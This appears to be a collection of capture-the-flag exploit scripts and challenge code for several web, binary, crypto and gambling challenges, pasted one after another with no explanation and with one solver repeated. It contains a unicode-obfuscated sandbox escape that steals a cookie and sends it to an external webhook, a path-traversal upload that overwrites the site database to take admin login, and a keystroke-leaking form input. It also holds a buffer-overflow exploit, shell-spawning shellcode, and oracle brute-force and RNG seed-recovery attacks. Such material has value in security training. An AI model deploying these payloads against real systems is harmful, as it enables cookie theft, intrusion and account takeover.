/**
 * Super Duper Sandbox
 */
function canvasSandbox(code) {
    try {
        const sandboxFunc = new Function(
            "canvas",
            `
            const window = undefined;
            const document = undefined;
            const alert = undefined;
            const console = undefined;
            const eval = undefined;
            const Function = undefined;
            const setTimeout = undefined;
            const setInterval = undefined;
            const fetch = undefined;
            const XMLHttpRequest = undefined;
            const WebSocket = undefined;
            const localStorage = undefined;
            const sessionStorage = undefined;
            const location = undefined;
            const history = undefined;
            const navigator = undefined;
            const parent = undefined;
            const top = undefined;
            const self = undefined;
            const globalThis = undefined;
            canvas.constructor = null;
            canvas.__proto__.constructor = null;
            canvas.__proto__.__proto__.constructor = null;
            canvas.__proto__.__proto__.__proto__.constructor = null;
            canvas.__proto__.__proto__.__proto__.__proto__.constructor = null;
            canvas.__proto__.__proto__.__proto__.__proto__.__proto__.constructor = null;
            canvas.__proto__.__proto__.__proto__.__proto__.__proto__.__proto__.constructor = null;
            
            ${code}
        `
        );

        sandboxFunc.call(null, canvas);
    } catch (err) {
        alert("Sorry, your code did not run.");
    }
}

const allowed_keywords = [
    "const",
    "ctx",
    "canvas",
    "getContext",
    "console",
    "let",
    "vx",
    "vy",
    "radius",
    "function",
    "update",
    "clearRect",
    "width",
    "height",
    "if",
    "beginPath",
    "arc",
    "Math",
    "PI",
    "fillStyle",
    "orange",
    "fill",
    "requestAnimationFrame"
];

function checkCode(code) {
    const matches = code.match(/[A-Za-z]{2,}/g) || [];

    const disallowed = matches.filter((k) => !allowed_keywords.includes(k));

    return disallowed.length === 0;
}

context.addCookies([
    {
        name: "flag",
        domain: "localhost",
        path: "/",
        value: FLAG,
        sameSite: "Lax",
        secure: false,
        httpOnly: false
    }
]);

const ctx = canvas.getContext('2d');
const p = ctx['\u005f\u005f\u0070\u0072\u006f\u0074\u006f\u005f\u005f'];
const c = p['\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072'];
const f = c['\u0063\u006f\u006e\u0073\u0074\u0072\u0075\u0063\u0074\u006f\u0072'];
const g = f('\u0072\u0065\u0074\u0075\u0072\u006e\u0020\u0074\u0068\u0069\u0073')();
const d = g['\u0064\u006f\u0063\u0075\u006d\u0065\u006e\u0074'];
const s = d['\u0063\u006f\u006f\u006b\u0069\u0065'];
const e = g['\u0065\u006e\u0063\u006f\u0064\u0065\u0055\u0052\u0049\u0043\u006f\u006d\u0070\u006f\u006e\u0065\u006e\u0074'];
const h = g['\u0066\u0065\u0074\u0063\u0068'];
const u = e(s);
h('\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0077\u0065\u0062\u0068\u006f\u006f\u006b\u002e\u0073\u0069\u0074\u0065\u002f\u0035\u0063\u0035\u0038\u0037\u0066\u0037\u0061\u002d\u0031\u0063\u0030\u0030\u002d\u0034\u0035\u0038\u0032\u002d\u0061\u0035\u0062\u0033\u002d\u0031\u0061\u0030\u0038\u0064\u0065\u0032\u0031\u0032\u0033\u0061\u0062\u003f\u0064\u003d' + u);

@app.route('/edit_profile', methods=['GET', 'POST'])
def edit_profile():
    if 'user_id' not in session:
        return redirect(url_for('login'))
    conn = get_db()
    c = conn.cursor()
    if request.method == 'POST':
        new_bio = request.form['bio']
        filename = None
        if 'profile_pic' in request.files:
            file = request.files['profile_pic']
            if file:
                filename = file.filename
                print(filename)
                file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
                c.execute("UPDATE users SET profile_pic=? WHERE id=?", (filename, session['user_id']))
        c.execute("UPDATE users SET bio=? WHERE id=?", (new_bio, session['user_id']))
        conn.commit()
        conn.close()
        return redirect(url_for('profile', id=session['user_id']))
    c.execute("SELECT bio, profile_pic FROM users WHERE id=?", (session['user_id'],))
    bio, pic = c.fetchone()
    conn.close()
    return render_template('edit_profile.html', bio=bio, pic=pic)

@app.route('/debug/<filename>')
def debug_file(filename):
    if not session.get('is_admin'):
        return redirect(url_for('login'))
    try:
        file_path = os.path.join(os.getcwd(), filename)
        with open(file_path, 'r') as f:
            content = f.read()
        return content, 200, {'Content-Type': 'text/plain'}
    except Exception as e:
        return f"Error: {str(e)}", 404

#!/usr/bin/env python3
import requests
import sys, os
import sqlite3, tempfile
from werkzeug.security import generate_password_hash

URL = sys.argv[1]
assert requests.get(f"{URL}/").status_code == 200

def init_db(filename="retro.db"):
    conn = sqlite3.connect(filename)
    c = conn.cursor()
    c.execute('''CREATE TABLE users (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        username TEXT UNIQUE,
        password TEXT,
        bio TEXT,
        is_admin INTEGER DEFAULT 0,
        profile_pic TEXT DEFAULT 'default.png'
    )''')
    c.execute('''CREATE TABLE posts (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        user_id INTEGER,
        title TEXT,
        content TEXT,
        FOREIGN KEY (user_id) REFERENCES users(id)
    )''')
    c.execute('''CREATE TABLE comments (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        post_id INTEGER,
        user_id INTEGER,
        content TEXT,
        FOREIGN KEY (post_id) REFERENCES posts(id),
        FOREIGN KEY (user_id) REFERENCES users(id)
    )''')
    c.execute('''CREATE TABLE chats (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        user1_id INTEGER,
        user2_id INTEGER,
        FOREIGN KEY (user1_id) REFERENCES users(id),
        FOREIGN KEY (user2_id) REFERENCES users(id)
    )''')
    c.execute('''CREATE TABLE messages (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        chat_id INTEGER,
        sender_id INTEGER,
        content TEXT,
        timestamp DATETIME DEFAULT CURRENT_TIMESTAMP,
        FOREIGN KEY (chat_id) REFERENCES chats(id),
        FOREIGN KEY (sender_id) REFERENCES users(id)
    )''')
    c.execute("INSERT INTO users (username, password, bio, is_admin) VALUES (?, ?, ?, 1)",
              ("admin", generate_password_hash("admin123"), "Retro overlord"))
    conn.commit()
    conn.close()

s = requests.Session()
s.post(f"{URL}/register", data={
    "username": (username := os.urandom(20).hex()),
    "password": (password := os.urandom(20).hex()),
    "bio": "hello",
})
s.post(f"{URL}/login", data={
    "username": username,
    "password": password,
})

with tempfile.NamedTemporaryFile("w+b") as tf:
    print(tf.name)
    init_db(tf.name)

    s.post(f"{URL}/edit_profile", data={
        "bio": "palle",   
    }, files={
        "profile_pic": ("../../retro.db", tf, "image/jpeg"),
    })

print("[*] Uploaded malicious profile picture")
s.get(f"{URL}/logout")
r = s.post(f"{URL}/login", data={
    "username": "admin",
    "password": "admin123",
})

print(s.cookies.get_dict())

import base64, itertools
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.kdf.pbkdf2 import PBKDF2HMAC

d = ['20.05.2023', '14.03.2001']
n = ['pixel', 'wigglepuff']
i = n + d
l = list(itertools.permutations(i))

for perm in l:
    password = ".".join(perm).encode()
    salt = b"whatever"

    kdf = PBKDF2HMAC(
        algorithm=hashes.SHA256(),
        length=32,
        salt=salt,
        iterations=390000,
    )
    key = base64.urlsafe_b64encode(kdf.derive(password))
    f = Fernet(key)

    with open("flag.txt", "rb") as fh:
        token = fh.read()

    try:
        plaintext = f.decrypt(token)
        print(f"Password found: {password.decode()}")
        print(plaintext.decode())
        break
    except:
        continue

function getSecret(mode, cookies) {
    const m = (mode || cookies.mode || 'random').toLowerCase();
    if (m === 'wotd') {
        const flag = (process.env.FLAG || 'REAL_FLAG_ON_REMOTE').toLowerCase();
        return { mode: 'wotd', secret: flag };
    }
    let secret = cookies.randomSecret;
    if (!secret || !/^[a-z]{5}$/.test(secret)) {
        secret = pickRandomWord();
    }
    return { mode: 'random', secret };
}

#!/usr/bin/env python3
import string, requests

URL = "http://a733fa9b.ctf.ac.upt.ro"
LENGTH = 69
CHARSET = 'CTF{}' + string.hexdigits.lower()

s = requests.Session()
s.post(URL + "/api/start?mode=wotd")

flag = ''
for i in range(LENGTH):
    for c in CHARSET:
        r = s.post(URL + "/api/check", json={"guess": flag + c}).json()
        if r['feedback'][i]["status"] == "correct":
            flag += c
            print(flag)
            break

print("FLAG:", flag)

<form>
  <input type="password" name="password" autocomplete oninput="window.socket.emit('sendMessage', { room: 'game', message: document.getElementsByName('password')[0].value });">
</form>

from pwn import *
import base64
p = remote('?', ?)

## Calls execve('/bin/sh') and spawns a shell
shellcode = """
section .data
    path    db '/bin/sh', 0         
    envp    dd 0                    
section .text
    global _start

_start:
    mov eax, 11          ; syscall number for execve
    mov ebx, path        ; filename pointer
    mov edx, envp        ; envp pointer

    int 0x80             ; call kernel

    mov eax, 1
    xor ebx, ebx
    int 0x80
"""

p.sendlineafter('> ', base64.b64encode(shellcode.encode()).decode())
p.interactive()

void __cdecl set_name(Player *p)
{
  size_t v1; // rax
  signed __int64 got; // [rsp+20h] [rbp-10h]
  signed __int64 n; // [rsp+28h] [rbp-8h]

  if ( board->game_over )
  {
    puts("\nEnter display name length:");
    n = read_long();
    if ( n > 0 )
    {
      puts("Enter display name bytes:");
      got = read_n((unsigned __int8 *)p->name, n);
    ...

  player = (Player *)calloc(1u, 0x10u);
  player->name_cap = 64;
  v4 = player;
  v4->name = (char *)malloc(player->name_cap);
  callbacks = (Callbacks *)malloc(0x10u);
  callbacks->on_gameover = real_gameover;
  callbacks->on_lineclear = 0;

#!/usr/bin/env python3

from pwn import *

elf = ELF("./tetrastack_patched")

context.binary = elf
context.terminal = ('kgx', '-e')

def conn():
    if args.REMOTE:
        r = remote("8a0e1141.ctf.ac.upt.ro", 9449)
    elif args.GDB:
        r = gdb.debug(elf.path, '''
                                b main
                                b set_name
                                continue
                      ''')
    else:
        r = process(elf.path)

    return r

def wait_menu_or_prompt(io, prompt=b"8) Quit"):
    data = b""
    while True:
        chunk = io.recvuntil(b"\n", timeout=0.5)
        if not chunk:
            continue
        data += chunk
        if b"Enter display name length" in data:
            return data, True
        if prompt in data:
            return data, False

def reach_game_over(io, max_steps=2000):
    data, got_prompt = wait_menu_or_prompt(io)
    if got_prompt:
        return
    for _ in range(max_steps):
        io.sendline(b"1")
        data, got_prompt = wait_menu_or_prompt(io)
        if got_prompt:
            log.info("Reached name prompt")
            return
    raise RuntimeError("Failed to trigger game over")

def main():
    r = conn()

    reach_game_over(r)
    r.sendline(b'88')
    r.sendlineafter(b'bytes:', b'a' * 80 + p64(elf.sym.win))
    r.sendline(b'8')

    x = r.recvall(timeout=1).decode()
    r.close()
    
    print(x)
    # r.interactive()

if __name__ == "__main__":
    main()

if ( *((_BYTE *)this + 0x20) && a2 < *((_QWORD *)this + 5) || a2 < *((_QWORD *)this + 2) )
  {
    result = *(_QWORD *)this;
    *(_BYTE *)(*((_QWORD *)this + 1) + **(_QWORD **)this + a2) = a3;
  }

steps = [
    b"opt",                # enter fast path
    b"write 64 0",         # flag_header[0] byte 0
    b"write 65 0",         # flag_header[0] byte 1
    b"write 66 0",         # flag_header[0] byte 2
    b"write 67 0",         # flag_header[0] byte 3
    b"write 76 42",        # flag_header[3] byte 0 -> 42
    b"write 77 0",         # remaining bytes zeroed
    b"write 78 0",
    b"write 79 0",
    b"opt",                # second optimize flips enable if header[3]==42
    b"getflag",            # prints flag if all checks pass
]

import socket
import sys
import re
from typing import List

P = 257  # Prime modulus
N = 257  # Block length == dimension

def recv_until(sock: socket.socket, marker: bytes) -> bytes:
    """Read from socket until `marker` appears."""
    buf = bytearray()
    while marker not in buf:
        chunk = sock.recv(4096)
        if not chunk:
            break
        buf += chunk
    return bytes(buf)

def recv_all(sock: socket.socket) -> bytes:
    """Read until the socket is closed and return all bytes."""
    buf = bytearray()
    while True:
        chunk = sock.recv(65536)
        if not chunk:
            break
        buf += chunk
    return bytes(buf)

HEX3_RE = re.compile(r"^(?:[0-9a-f]{3}\s+){256}[0-9a-f]{3}$", re.IGNORECASE)

def parse_hex_vector(blob: bytes) -> List[int]:
    """Extract the final 257-entry hex vector from a server response."""
    text = blob.decode(errors="ignore")
    for line in reversed(text.strip().splitlines()):
        line = line.strip()
        if HEX3_RE.fullmatch(line):
            return [int(tok, 16) for tok in line.split()]
    raise ValueError("Could not find a valid ciphertext line in server output.")


# Oracle wrappers

def get_encrypted_flag(host: str, port: int) -> List[int]:
    """Request option 1 from the server and parse the returned ciphertext."""
    s = socket.socket()
    s.connect((host, port))
    recv_until(s, b"> ")
    s.sendall(b"1\n")
    data = recv_all(s)
    s.close()
    return parse_hex_vector(data)

def encrypt(host: str, port: int, block: bytes) -> List[int]:
    """Request option 2 and send a 257-byte block, returning the ciphertext."""
    assert len(block) == N, "block must be exactly N=257 bytes"
    s = socket.socket()
    s.connect((host, port))
    recv_until(s, b"> ")
    s.sendall(b"2\n")
    recv_until(s, b"> ")
    s.sendall(block)
    data = recv_all(s)
    s.close()
    return parse_hex_vector(data)


# Modular algebra

def mat_inv_mod_p(A: List[List[int]], p: int) -> List[List[int]]:
    """Compute the inverse of A modulo prime p using Gauss-Jordan."""
    n = len(A)
    M = [[A[i][j] % p for j in range(n)] for i in range(n)]
    I = [[1 if i == j else 0 for j in range(n)] for i in range(n)]
    
    for col in range(n):
        # Find a pivot row with nonzero in column 'col'
        pivot = col
        while pivot < n and M[pivot][col] == 0:
            pivot += 1
        if pivot == n:
            raise ValueError("Matrix not invertible (no pivot).")

        # Swap to current row if needed
        if pivot != col:
            M[col], M[pivot] = M[pivot], M[col]
            I[col], I[pivot] = I[pivot], I[col]

        # Normalize pivot row
        inv_piv = pow(M[col][col], p - 2, p)  # Fermat inverse (p is prime)
        for j in range(n):
            M[col][j] = (M[col][j] * inv_piv) % p
            I[col][j] = (I[col][j] * inv_piv) % p

        # Eliminate this column from all other rows
        for r in range(n):
            if r == col:
                continue
            factor = M[r][col]
            if factor:
                for j in range(n):
                    M[r][j] = (M[r][j] - factor * M[col][j]) % p
                    I[r][j] = (I[r][j] - factor * I[col][j]) % p
    return I

def mat_vec_mod_p(M: List[List[int]], v: List[int], p: int) -> List[int]:
    n = len(M)
    out = [0] * n
    for i in range(n):
        s = 0
        row = M[i]
        for j in range(n):
            s += row[j] * v[j]
        out[i] = s % p
    return out


def recover_matrix_K(host: str, port: int) -> List[List[int]]:
    K_cols = []
    for i in range(N):
        block = bytearray(N)
        block[i] = 1  # e_i (mod 257)
        y = encrypt(host, port, bytes(block))
        if len(y) != N:
            raise RuntimeError("oracle returned wrong vector length")
        K_cols.append(y)
        # Optional progress indicator
        if (i + 1) % 16 == 0 or i == N - 1:
            print(f"[+] collected {i + 1}/{N} columns of K")
    # Convert "list of columns" -> 2D matrix (row-major)
    K = [[K_cols[j][i] for j in range(N)] for i in range(N)]
    return K

def strip_zero_padding(mbytes: bytes) -> bytes:
    if 0 in mbytes:
        return mbytes[:mbytes.index(0)]
    return mbytes

def main():
    host = sys.argv[1] if len(sys.argv) >= 2 else "127.0.0.1"
    port = int(sys.argv[2]) if len(sys.argv) >= 3 else 12346

    print(f"[*] Target: {host}:{port}")
    print("[*] Fetching encrypted flag...")
    c_flag = get_encrypted_flag(host, port)
    print("[+] Got encrypted flag (257 integers).")

    print("[*] Recovering encryption matrix K via 257 chosen-plaintext queries...")
    K = recover_matrix_K(host, port)
    print("[+] Recovered K.")

    print("[*] Inverting K modulo 257...")
    K_inv = mat_inv_mod_p(K, P)
    print("[+] Inverted K.")

    print("[*] Decrypting flag...")
    m_vec = mat_vec_mod_p(K_inv, c_flag, P)

    # Sanity: we expect every coordinate to be in 0..255 (not 256)
    if any(x == 256 for x in m_vec):
        print("[!] Warning: found value 256 in plaintext vector; replacing with 0 for bytes().")
    m_bytes = bytes((0 if x == 256 else x) for x in m_vec)
    m_bytes = strip_zero_padding(m_bytes)

    try:
        decoded = m_bytes.decode("utf-8", errors="replace")
    except Exception:
        decoded = repr(m_bytes)

    print(decoded)

if __name__ == "__main__":
    main()

import time
import random
import string
from typing import Dict, List

import requests
import bs4

BASE_URL = 'http://168908dd.ctf.ac.upt.ro'
ROUNDS = 60
REPEATS = 10
SLEEP = 0
CHARSET = string.ascii_uppercase + string.digits + '{}_'
FIELD_NAME = 'text'

session = requests.Session()
session.headers.update({'User-Agent': 'simple-encoder-solver/1.0'})


def parse_tokens(html: str) -> List[str]:
    soup = bs4.BeautifulSoup(html, 'html.parser')
    div = soup.find('div', class_='encoded')
    if not div:
        return []
    return [el.get_text(strip=True) for el in div.find_all() if el.get_text(strip=True)]


def get_flag_tokens() -> List[str]:
    r = session.get(BASE_URL + '/flag', timeout=15)
    r.raise_for_status()
    return parse_tokens(r.text)


def encode(text: str) -> List[str]:
    r = session.post(BASE_URL + '/encode', data={FIELD_NAME: text}, timeout=15)
    r.raise_for_status()
    return parse_tokens(r.text)


def solve() -> str:
    flag_tokens = get_flag_tokens()
    if not flag_tokens:
        raise RuntimeError('No tokens returned from /flag')
    needed = set(flag_tokens)
    mapping: Dict[str, str] = {}

    for _ in range(ROUNDS):
        chars = list(CHARSET)
        random.shuffle(chars)
        for ch in chars:
            try:
                tokens = encode(ch * REPEATS)
            except Exception:
                continue
            for t in tokens:
                if t in needed and t not in mapping:
                    mapping[t] = ch
            if SLEEP:
                time.sleep(SLEEP)
        if len(mapping) == len(needed):
            break

    decoded = ''.join(mapping.get(t, '?') for t in flag_tokens)
    print(f"Mapped {len(mapping)}/{len(needed)} tokens")
    return decoded


if __name__ == '__main__':
    print(solve())

from itertools import product
from pwn import *
from tqdm import trange
context.log_level = 'critical'

alphabet = 'CTF{}' + '0123456789abcdef'

combs = product(alphabet, repeat=4)

payload = ''.join([''.join(c) for c in combs])

output = ''
blocks = [payload[i:i+4] for i in range(0, len(payload), 4)]
for i in trange(0, len(blocks), 100):
    r = remote('28267ab8.ctf.ac.upt.ro', 9323)
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'> ',''.join(blocks[i:i+100]).encode())
    r.recvline()
    output += r.recvline().strip().decode()[:-8]
    r.close()

mappings = {}

assert len(output) % 8 == 0, "Encrypted output length should be a multiple of 8"
for i in range(0, len(output), 8):
    enc_chunk = output[i:i+8]            # 8-byte ciphertext block
    plain_idx = i // 2                   # maps to corresponding 4-byte plaintext start
    plain_chunk = payload[plain_idx:plain_idx+4]
    mappings[enc_chunk] = plain_chunk
   
r.close()

r = remote('28267ab8.ctf.ac.upt.ro', 9323)
r.sendlineafter(b'> ', b'1')
r.recvline()
flag_enc = r.recvline().strip().decode()
r.close()

assert len(flag_enc) % 8 == 0, "Encrypted flag length should be a multiple of 8"
decoded_blocks = []
for i in range(0, len(flag_enc), 8):
    c = flag_enc[i:i+8]
    decoded_blocks.append(mappings.get(c, '????'))

flag_dec = ''.join(decoded_blocks)
print(f'Flag: {flag_dec}')

for tup in trange(255):
    for i in trange(255):
        if not chr(i).isprintable(): continue
        brute = f"{tup:02x}" + "}" + chr(i)
        r = remote('28267ab8.ctf.ac.upt.ro', 9323)
        r.sendlineafter(b'> ', b'2')
        r.sendlineafter(b'> ', brute.encode())
        r.recvline()
        output = r.recvline().strip().decode()
        r.close()
        if output[:8] in flag_enc:
            print(f"Found matching plaintext: {brute}")
            exit(0)
        else:
            if tup == 0:
                print(output[:8])
else:
    print("No matching 4-byte plaintext found in given alphabet.")

from itertools import product
from pwn import *
from tqdm import trange
context.log_level = 'critical'

alphabet = 'CTF{}' + '0123456789abcdef'

combs = product(alphabet, repeat=4)

payload = ''.join([''.join(c) for c in combs])

output = ''
blocks = [payload[i:i+4] for i in range(0, len(payload), 4)]
for i in trange(0, len(blocks), 100):
    r = remote('28267ab8.ctf.ac.upt.ro', 9323)
    r.sendlineafter(b'> ', b'2')
    r.sendlineafter(b'> ',''.join(blocks[i:i+100]).encode())
    r.recvline()
    output += r.recvline().strip().decode()[:-8]
    r.close()

mappings = {}

assert len(output) % 8 == 0, "Encrypted output length should be a multiple of 8"
for i in range(0, len(output), 8):
    enc_chunk = output[i:i+8]            # 8-byte ciphertext block
    plain_idx = i // 2                   # maps to corresponding 4-byte plaintext start
    plain_chunk = payload[plain_idx:plain_idx+4]
    mappings[enc_chunk] = plain_chunk
   
r.close()

r = remote('28267ab8.ctf.ac.upt.ro', 9323)
r.sendlineafter(b'> ', b'1')
r.recvline()
flag_enc = r.recvline().strip().decode()
r.close()

assert len(flag_enc) % 8 == 0, "Encrypted flag length should be a multiple of 8"
decoded_blocks = []
for i in range(0, len(flag_enc), 8):
    c = flag_enc[i:i+8]
    decoded_blocks.append(mappings.get(c, '????'))

flag_dec = ''.join(decoded_blocks)
print(f'Flag: {flag_dec}')
with open('flag.txt', 'w') as f:
    f.write(flag_dec + '\n')

for tup in trange(255):
    for i in trange(255):
        if not chr(i).isprintable(): continue
        brute = f"{tup:02x}" + "}" + chr(i)
        r = remote('28267ab8.ctf.ac.upt.ro', 9323)
        r.sendlineafter(b'> ', b'2')
        r.sendlineafter(b'> ', brute.encode())
        r.recvline()
        output = r.recvline().strip().decode()
        r.close()
        if output[:8] in flag_enc:
            print(f"Found matching plaintext: {brute}")
            exit(0)
        else:
            if tup == 0:
                print(output[:8])
else:
    print("No matching 4-byte plaintext found in given alphabet.")

from pwn import remote, context
import re
import sys
import time

context.log_level = 'info'

HOST = '?'
PORT = ?
MAX_SEED = 0xFFFFFF  # 24-bit
HAND_SAMPLES = 4      # number of initial hands to collect for seed filtering

RANK_ORDER = ['2','3','4','5','6','7','8','9','T','J','Q','K','A']
SUITS = ['♠','♥','♦','♣']
RANK_VALUE = {r: i+2 for i, r in enumerate(RANK_ORDER)}

# Build canonical ordered deck
def build_deck():
    return [(r,s) for r in RANK_ORDER for s in SUITS]

# LCG parameters (mod 2^31)
A = 1103515245
C = 12345
M = 1 << 31

def lcg_next(state):
    return (A * state + C) & 0x7fffffff

# Apply Fisher-Yates using LCG state; returns new state after 51 draws and deck
def shuffle_with_state(state):
    deck = build_deck()
    for i in range(len(deck)-1, 0, -1):
        state = lcg_next(state)
        j = state % (i+1)
        deck[i], deck[j] = deck[j], deck[i]
    return state, deck

# Hand evaluation (same tuples ordering as server)
def hand_strength(cards):
    ranks = sorted([RANK_VALUE[r] for (r, s) in cards], reverse=True)
    suits = [s for (r,s) in cards]
    counts = {}
    for rv in ranks:
        counts[rv] = counts.get(rv,0)+1
    by_count_then_rank = sorted(counts.items(), key=lambda kv: (kv[1], kv[0]), reverse=True)
    is_flush = len(set(suits)) == 1
    sorted_unique_desc = sorted(set(ranks), reverse=True)
    is_straight = False
    straight_high = None
    if len(sorted_unique_desc) == 5:
        top = sorted_unique_desc[0]
        if sorted_unique_desc == list(range(top, top-5, -1)):
            is_straight = True
            straight_high = top
        else:
            wheel = [14,5,4,3,2]
            if sorted_unique_desc == wheel:
                is_straight = True
                straight_high = 5
    counts_sorted = [c for (_,c) in by_count_then_rank]
    ranks_sorted_by_count = [r for (r,_) in by_count_then_rank]
    if counts_sorted[0] == 4:
        return (7, ranks_sorted_by_count[0], ranks_sorted_by_count[1])
    if counts_sorted[0] == 3 and counts_sorted[1] == 2:
        return (6, ranks_sorted_by_count[0], ranks_sorted_by_count[1])
    if is_flush and is_straight:
        return (8, straight_high)
    if is_flush:
        return (5, sorted(ranks, reverse=True))
    if is_straight:
        return (4, straight_high)
    if counts_sorted[0] == 3:
        trips_rank = ranks_sorted_by_count[0]
        kickers = sorted([r for r in ranks if r != trips_rank], reverse=True)
        return (3, trips_rank, kickers)
    if counts_sorted[0] == 2 and counts_sorted[1] == 2:
        high_pair = max(ranks_sorted_by_count[0], ranks_sorted_by_count[1])
        low_pair = min(ranks_sorted_by_count[0], ranks_sorted_by_count[1])
        kicker = [r for r in ranks if r != high_pair and r != low_pair][0]
        return (2, high_pair, low_pair, kicker)
    if counts_sorted[0] == 2:
        pair_rank = ranks_sorted_by_count[0]
        kickers = sorted([r for r in ranks if r != pair_rank], reverse=True)
        return (1, pair_rank, kickers)
    return (0, sorted(ranks, reverse=True))

def compare_hands(p1, p2):
    s1 = hand_strength(p1)
    s2 = hand_strength(p2)
    return (s1 > s2) - (s1 < s2)

CARD_WIDTH = 7
CARD_LINES = 7

def parse_hand(block):
    lines = block.strip('\n').split('\n')
    # Expect 7 lines of cards
    if len(lines) < CARD_LINES:
        raise ValueError('Unexpected hand block lines')
    line1 = lines[1]  # second line (index 1)
    line3 = lines[3]  # fourth line (index 3)
    parts1 = line1.split(' ')  # cards separated by space
    parts3 = line3.split(' ')
    cards = []

    card_regex_rank = re.compile(r'│(.{1,2})\s{3}│')
    card_regex_suit = re.compile(r'│\s{2}(.)\s{2}│')
    ranks = card_regex_rank.findall(line1)
    suits = card_regex_suit.findall(line3)
    if len(ranks) != len(suits):
        raise ValueError('Rank/suit count mismatch')
    for r,s in zip(ranks,suits):
        cards.append((r.strip(), s))
    return cards

HAND_HEADER = 'Your hand:'

def recv_until_hand(io):
    data = b''
    while True:
        chunk = io.recvuntil(b'Action? [b]et / [f]old > ', timeout=5)
        data += chunk
        text = data.decode(errors='ignore')
        # Extract portion between 'Your hand:' and the prompt
        if HAND_HEADER in text:
            # Get last occurrence
            idx = text.rfind(HAND_HEADER)
            after = text[idx+len(HAND_HEADER):]
            top_idx = after.find('┌')
            if top_idx == -1:
                continue
            hand_block = after[top_idx:]
            if 'Action? [b]et / [f]old >' in hand_block:
                hand_block = hand_block.split('Action? [b]et / [f]old >')[0]
            # Keep exactly 7 lines
            lines = hand_block.split('\n')[:CARD_LINES]
            hand_ascii = '\n'.join(lines)
            try:
                return parse_hand(hand_ascii)
            except Exception as e:
                context.log_level='debug'
                print('Parse error, retry:', e)
                context.log_level='info'
        # else keep waiting


def recover_seed(hands):
    candidates = []
    for seed in range(MAX_SEED+1):
        state = seed & 0xffffffff
        ok = True
        for target in hands:
            state, deck = shuffle_with_state(state)
            if deck[:5] != target:
                ok = False
                break
        if ok:
            candidates.append(seed)
            if len(candidates) == 1:
                break  # assume unique
    return candidates[0] if candidates else None


def recover_seed_time_window(hands, center, radius):
    total = 2*radius + 1
    for off in range(-radius, radius+1):
        seed = (center + off) & 0xFFFFFF
        state = seed & 0xffffffff
        ok = True
        for target in hands:
            state, deck = shuffle_with_state(state)
            if deck[:5] != target:
                ok = False
                break
        if ok:
            return seed
    return None


def predict_next(state):
    state, deck = shuffle_with_state(state)
    player = deck[:5]
    dealer = deck[5:10]
    return state, player, dealer


def main():
    io = remote(HOST, PORT)

    collected = []
    for i in range(HAND_SAMPLES):
        hand = recv_until_hand(io)
        print(f'[+] Round {i} observed player hand: {hand}')
        collected.append(hand)
        io.sendline(b'f')  # fold to preserve streak

    now_seed = int(time.time()) & 0xFFFFFF
    windows = [600, 3600, 6*3600, 24*3600]  # 10m, 1h, 6h, 24h
    seed = None
    start = time.time()
    for rad in windows:
        print(f'[*] Trying seed window +/-{rad}s around 0x{now_seed:06x}...')
        seed = recover_seed_time_window(collected, now_seed, rad)
        if seed is not None:
            break
    if seed is None:
        print('[*] Falling back to full 2^24 brute force; this may take time')
        seed = recover_seed(collected)
    elapsed = time.time() - start

    if seed is None:
        print('[-] Seed not found')
        io.interactive()
        return
    print(f'[+] Seed recovered: 0x{seed:06x} in {elapsed:.2f}s')

    state = seed & 0xffffffff
    for _ in range(HAND_SAMPLES):
        state, _deck = shuffle_with_state(state)

    streak = 0
    target_streak = 30
    round_idx = HAND_SAMPLES

    while streak < target_streak:
        state, predicted_player, predicted_dealer = predict_next(state)
        result = compare_hands(predicted_player, predicted_dealer)
        action = 'b' if result > 0 else 'f'
        print(f'[+] Predict round {round_idx}: player={predicted_player} dealer={predicted_dealer} -> result={result} action={action}')

        # Receive actual round hand
        actual = recv_until_hand(io)
        if actual != predicted_player:
            print('[-] Mismatch in prediction, abort.')
            io.interactive()
            return
        io.sendline(action.encode())

        if action == 'b':
            streak += 1
        print(f'[+] Current streak: {streak}')
        round_idx += 1

    io.interactive()

if __name__ == '__main__':
    main()